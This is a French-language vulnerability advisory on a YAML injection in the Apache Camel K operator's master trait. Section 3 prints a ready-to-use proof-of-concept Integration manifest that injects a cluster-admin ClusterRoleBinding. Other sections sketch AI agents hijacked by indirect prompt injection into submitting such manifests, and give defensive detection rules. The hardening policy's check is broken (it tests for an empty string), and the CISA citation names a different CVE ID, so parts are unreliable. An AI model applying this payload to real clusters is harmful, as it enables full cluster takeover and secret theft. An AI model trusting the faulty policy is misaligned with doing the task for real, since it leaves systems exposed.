CVE-2026-80352 : élévation de privilèges d'opérateur Kubernetes par injection YAML dans le trait master d'Apache camel k
HERMES THREAT SCORE & RISQUE D'ÉLÉVATION SUR L'OPÉRATEUR
Cible :Opérateur Apache Camel K - Réconciliateur du trait Master & CRD Integration Le score CVSS v3.1 évalue la vulnérabilité CVE-2026-80352 à 8.8 (Élevé) en conditionnant l'attaque à des privilèges faibles (PR:L pour soumettre une ressource personnalisée Integration). Le Hermes Threat Score élève cette sévérité à 91 (CRITIQUE). Dans les architectures cloud-natives modernes et les pipelines d'agents autonomes (tels que LangChain, Flowise ou les connecteurs Camel-AI), des comptes de service restreints ou des agents génératifs soumettent en continu des ressources Integration au sein de namespaces cloisonnés. L'opérateur agit alors comme un mandataire confus (Confused Deputy) : il réconcilie le YAML injecté avec ses propres privilèges d'administration de cluster, instanciant des ClusterRoleBindings ou des DaemonSets privilégiés et détruisant l'étanchéité multi-locataire.
SCORE DE SÉVÉRITÉ AGENTIQUE HASS & COMPROMISSION DE PIPELINE
Cible :Pipelines d'agents autonomes & connecteurs d'intégration sans serveur Les agents d'IA autonomes et les orchestrateurs LLM instancient dynamiquement des intégrations Camel K pour connecter des bases vectorielles, des API d'entreprise et des flux d'événements. Un agent compromis ou soumis à une injection de prompt indirecte capable d'influencer les traits d'une ressource Integration peut armer cette injection YAML pour s'évader de son bac à sable, usurper les jetons de l'opérateur et prendre le contrôle du cluster Kubernetes hôte.
CVE-2026-80352: Kubernetes Operator Privilege Escalation via Master Trait YAML Injection in Apache Camel KVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Apache Camel K documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice des versions affectées
Section intitulée « 1. Contexte technique & matrice des versions affectées »Apache Camel K transforme des définitions d’intégration déclaratives (rédigées en Java, YAML, Kotlin ou Groovy) en conteneurs opérationnels au sein d’un cluster Kubernetes. L’opérateur pilote les compilations, la génération d’images et le déploiement des pods.
| Paramètre | Spécification technique | Impact opérationnel |
|---|---|---|
| Identifiant CVE | CVE-2026-80352 | Référence de l’avis de sécurité officiel Apache Camel |
| Classe de faiblesse | Injection YAML / Mandataire confus (CWE-94) | Génération de manifeste sans neutralisation de délimiteur |
| Composant vulnérable | Opérateur Camel K — Gestionnaire du trait Master | Réconciliateur synthétisant les déploiements et rôles RBAC |
| Mécanisme déclencheur | Propriété traits.master.serviceAccountName | Injection multiligne brisant la structure du document YAML |
| Privilèges requis | Faibles (PR:L — droit de créer une ressource Integration) | Développeur d’espace restreint ou exécuteur de pipeline IA |
| Privilèges obtenus | Administrateur de cluster (cluster-admin) | L’opérateur applique l’objet avec son compte de service |
| Versions affectées | 2.0.0 <= v < 2.9.3, 2.10.1 | Clusters multi-tenants Kubernetes & Red Hat OpenShift |
| Versions corrigées | 2.9.3, 2.10.2, 2.11.0 | Versions officielles appliquant un assainissement strict |
2. Anatomie de la vulnérabilité & analyse de cause racine
Section intitulée « 2. Anatomie de la vulnérabilité & analyse de cause racine »Le défaut du réconciliateur du trait master
Section intitulée « Le défaut du réconciliateur du trait master »Dans Camel K, les traits sont des modules d’extension configurant des fonctionnalités d’infrastructure (ports réseau, Knative, ingress, ou élection de leader). Le trait Master (master) garantit qu’une seule instance d’une route d’intégration traite les flux à la fois, tandis que les répliques secondaires restent en attente active d’un verrou de basculement.
Pour configurer ce comportement, les intégrations définissent des paramètres dans leur ressource personnalisée :
apiVersion: camel.apache.org/v1kind: Integrationmetadata: name: integration-securiseespec: traits: master: configuration: serviceAccountName: "compte-pipeline"Durant la boucle de réconciliation, le processus opérateur de Camel K analyse la spécification de l’Integration et construit les manifestes Kubernetes associés (rôles d’accès aux baux Lease, liaisons de comptes et déploiements).
Dans les versions vulnérables antérieures à 2.9.3 et 2.10.2, l’opérateur assemblait ces manifestes via du formatage textuel brut plutôt qu’en manipulant des structures de données Go fortement typées (k8s.io/api/...) ou des encodeurs YAML stricts. Le champ serviceAccountName était injecté directement par interpolation de chaîne.
Faute de filtrage des retours à la ligne (\n), un attaquant peut soumettre une chaîne multiligne contenant le séparateur de document YAML ---. L’analyseur syntaxique clôt alors le manifeste prévu et commence l’interprétation d’un nouveau document Kubernetes arbitraire :
traits.master.configuration.serviceAccountName = "sa-legitime\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\n..."La mécanique du mandataire confus (confused deputy)
Section intitulée « La mécanique du mandataire confus (confused deputy) »L’opérateur Camel K doit pouvoir gérer des définitions de ressources, déployer des pods, monter des secrets et manipuler le réseau à l’échelle du cluster. Son compte de service (ServiceAccount) est fréquemment doté du rôle cluster-admin.
Lorsque l’opérateur soumet le flux YAML généré à l’API Server Kubernetes, ce dernier traite le document injecté comme une requête légitime émanant de l’opérateur lui-même. Les contrôles RBAC qui limitaient l’attaquant à son namespace d’origine sont totalement court-circuités.
3. Vecteurs de menace, cinématique d’exploitation & flux d’attaque
Section intitulée « 3. Vecteurs de menace, cinématique d’exploitation & flux d’attaque »Architecture de la cinématique d’attaque
Section intitulée « Architecture de la cinématique d’attaque »flowchart TD A["Attaquant / Agent IA compromis"] -->|"Crée une CR Integration avec payload multiligne"| B["API Server Kubernetes (Espace restreint)"] B -->|"Événement de réconciliation"| C["Contrôleur Opérateur Camel K"] C -->|"Interpole serviceAccountName non assaini"| D["Flux interne de manifestes YAML"] D -->|"Interprète le délimiteur ---"| E["ClusterRoleBinding injecté : cluster-admin"] C -->|"Applique les manifestes avec le token opérateur"| F["API Server Kubernetes (Portée Cluster)"] F -->|"Attribue cluster-admin au compte de l'attaquant"| G["Prise de contrôle totale du cluster"]Déroulement de l’exploitation
Section intitulée « Déroulement de l’exploitation »Un attaquant disposant uniquement d’un accès au namespace dev-sandbox déploie une ressource personnalisée Integration contenant un trait Master piégé :
apiVersion: camel.apache.org/v1kind: Integrationmetadata: name: escalade-privileges-poc namespace: dev-sandboxspec: sources: - name: route.groovy content: "from('timer:tick?period=5000').log('pwned')" traits: master: configuration: serviceAccountName: | default --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: liaison-privesc-camelk subjects: - kind: ServiceAccount name: default namespace: dev-sandbox roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.ioLors de la réconciliation :
- L’opérateur traite la configuration du trait Master.
- Le saut de ligne dans
serviceAccountNameinjecte le documentClusterRoleBinding. - L’opérateur envoie l’ensemble du flux à l’API Server via son compte de service privilégié.
- Le compte
defaultde l’espacedev-sandboxreçoit instantanément les prérogativescluster-admin. - L’attaquant peut déployer des conteneurs avec montage de la racine de l’hôte (
/) ou extraire les secrets du cluster.
4. Impact doctrinal sur les infrastructures d’agents IA & les clouds multi-tenants
Section intitulée « 4. Impact doctrinal sur les infrastructures d’agents IA & les clouds multi-tenants »La militarisation de la vulnérabilité CVE-2026-80352 engendre des risques majeurs pour les architectures agentiques modernes :
1. Empoisonnement d’outils et de connecteurs pour agents autonomes
Section intitulée « 1. Empoisonnement d’outils et de connecteurs pour agents autonomes »Les agents de développement et d’orchestration (LangChain, AutoGen, assistants de code) exploitent Camel K pour agréger dynamiquement des API et des bases vectorielles. Un attaquant guidant un agent via une injection de prompt indirecte peut amener celui-ci à générer une ressource Integration piégée, transformant l’agent en vecteur d’évasion du cluster.
2. Rupture de l’étanchéité multi-tenant Kubernetes
Section intitulée « 2. Rupture de l’étanchéité multi-tenant Kubernetes »Dans les clusters mutualisés, la sécurité repose sur l’isolation stricte par namespaces et RBAC. Parce que Camel K est fréquemment partagé pour optimiser les ressources, cette vulnérabilité anéantit le cloisonnement multi-locataire.
3. Exfiltration de modèles d’IA et de secrets d’entreprise
Section intitulée « 3. Exfiltration de modèles d’IA et de secrets d’entreprise »L’accès cluster-admin confère la lecture immédiate de tous les objets Secret : jetons d’API de modèles de fondation (OpenAI, Anthropic, Google), identifiants de bases vectorielles (Pinecone, Qdrant, Milvus) et clés de chiffrement de production.
5. Chasse aux menaces, détection & investigation forensique
Section intitulée « 5. Chasse aux menaces, détection & investigation forensique »Analyse des journaux d’audit Kubernetes
Section intitulée « Analyse des journaux d’audit Kubernetes »Recherchez les événements de création d’objets ClusterRoleBinding où l’utilisateur requérant correspond au compte de l’opérateur Camel K :
{ "verb": "create", "requestURI": "/apis/rbac.authorization.k8s.io/v1/clusterrolebindings", "user": { "username": "system:serviceaccount:camel-k:camel-k-operator" }, "objectRef": { "resource": "clusterrolebindings", "apiGroup": "rbac.authorization.k8s.io" }, "responseStatus": { "code": 201 }}Règle Sigma : création suspecte de ClusterRoleBinding par l’opérateur camel k
Section intitulée « Règle Sigma : création suspecte de ClusterRoleBinding par l’opérateur camel k »title: Création suspecte de ClusterRoleBinding par l'opérateur Apache Camel K (CVE-2026-80352)id: cve-2026-80352-camelk-privesc-frstatus: experimentaldescription: Détecte la création de liaisons de rôles de cluster par le compte de service de l'opérateur Apache Camel K, signe d'exploitation d'une injection YAML.author: Hermes Codex Threat Intelligencedate: 2026-09-11references: - https://camel.apache.org/security/CVE-2026-80352.html - https://nvd.nist.gov/vuln/detail/CVE-2026-80352tags: - attack.privilege_escalation - attack.t1068 - attack.t1078.004logsource: product: kubernetes service: auditdetection: selection_operator: user.username|contains: camel-k-operator selection_verb: verb: - create - patch - update selection_target: objectRef.resource: clusterrolebindings objectRef.apiGroup: rbac.authorization.k8s.io condition: selection_operator and selection_verb and selection_targetfalsepositives: - Déploiement initial ou mise à niveau manuelle de l'opérateur par un administrateur cluster légitime.level: criticalRègle Falco de détection en temps réel
Section intitulée « Règle Falco de détection en temps réel »- rule: Creation suspecte de ClusterRoleBinding par l'operateur Camel K desc: Détecte la création de ClusterRoleBinding non autorisé par l'opérateur Camel K condition: > k8s.target.resource = "clusterrolebindings" and k8s.verb in ("create", "update", "patch") and ka.user.name startswith "system:serviceaccount:" and ka.user.name contains "camel-k" output: > Création suspecte de ClusterRoleBinding par l'opérateur Camel K (user=%ka.user.name resource=%k8s.target.name namespace=%k8s.target.namespace payload=%ka.req.binding.subjects) priority: CRITICAL tags: [k8s, rbac, privilege_escalation, cve-2026-80352]Requête KQL (Microsoft Sentinel / azure log analytics)
Section intitulée « Requête KQL (Microsoft Sentinel / azure log analytics) »// Recherche d'escalade de privilèges RBAC par l'opérateur Camel KKubeAudit| where TimeGenerated >= ago(7d)| where ObjectRef_Resource =~ "clusterrolebindings"| where Verb in ("create", "patch", "update")| where User_Username has "camel-k"| project TimeGenerated, User_Username, ObjectRef_Namespace, ObjectRef_Name, ResponseStatus_code, RequestObject| order by TimeGenerated desc6. Correspondance au framework MITRE ATT&CK
Section intitulée « 6. Correspondance au framework MITRE ATT&CK »| Phase tactique | Identifiant technique | Nom de la technique | Rôle dans l’attaque |
|---|---|---|---|
| Accès initial | T1190 | Exploit Public-Facing Application | Soumission d’une ressource personnalisée piégée à l’API |
| Élévation de privilèges | T1068 | Exploitation for Privilege Escalation | Mandataire confus exploitant les droits de l’opérateur |
| Persistance | T1078.004 | Valid Accounts: Cloud/Container Accounts | Utilisation du compte bénéficiaire de la liaison cluster-admin |
| Exécution | T1610 | Deploy Container | Lancement de conteneurs privilégiés accédant à l’hôte |
| Évasion de défense | T1562.001 | Impair Defenses: Disable or Modify Tools | Contournement des quotas et politiques de namespace |
| Mouvement latéral | T1611 | Escape to Host | Évasion de conteneur via montage de volume racine hôte |
7. Guide de remédiation & plan de durcissement
Section intitulée « 7. Guide de remédiation & plan de durcissement »1. Mise à niveau immédiate de l’opérateur camel k
Section intitulée « 1. Mise à niveau immédiate de l’opérateur camel k »Appliquez sans délai les versions publiées le 10 septembre 2026 :
- Branche 2.9.x : mettre à niveau vers
2.9.3(ou ultérieure) - Branche 2.10.x : mettre à niveau vers
2.10.2(ou ultérieure) - Branche 2.11.x : mettre à niveau vers
2.11.0(ou ultérieure)
# Mise à niveau via la CLI kamelkamel install --upgrade --operator-id camel-k -n camel-k
# Ou mise à niveau via Helmhelm repo updatehelm upgrade camel-k redhat-camel/camel-k -n camel-k --version 2.10.22. Durcissement par contrôleur d’admission (ValidatingAdmissionPolicy)
Section intitulée « 2. Durcissement par contrôleur d’admission (ValidatingAdmissionPolicy) »Mettez en place une politique d’admission native pour interdire les retours à la ligne (\n) et séparateurs YAML (---) dans les traits d’intégration :
apiVersion: admissionregistration.k8s.io/v1kind: ValidatingAdmissionPolicymetadata: name: bloquer-injection-yaml-camel-kspec: failurePolicy: Fail matchConstraints: resourceRules: - apiGroups: ["camel.apache.org"] apiVersions: ["v1"] operations: ["CREATE", "UPDATE"] resources: ["integrations"] validations: - expression: > !has(object.spec.traits.master) || !has(object.spec.traits.master.configuration) || !has(object.spec.traits.master.configuration.serviceAccountName) || (!object.spec.traits.master.configuration.serviceAccountName.contains("") && !object.spec.traits.master.configuration.serviceAccountName.contains("---")) message: "Politique de sécurité : serviceAccountName ne doit pas contenir de saut de ligne ou de délimiteur YAML."3. Principe du moindre privilège pour le compte de service opérateur
Section intitulée « 3. Principe du moindre privilège pour le compte de service opérateur »Restreignez le rayon d’action de l’opérateur en évitant les installations globales avec cluster-admin. Privilégiez une surveillance circonscrite à des espaces de noms désignés via des objets Role et RoleBinding locaux.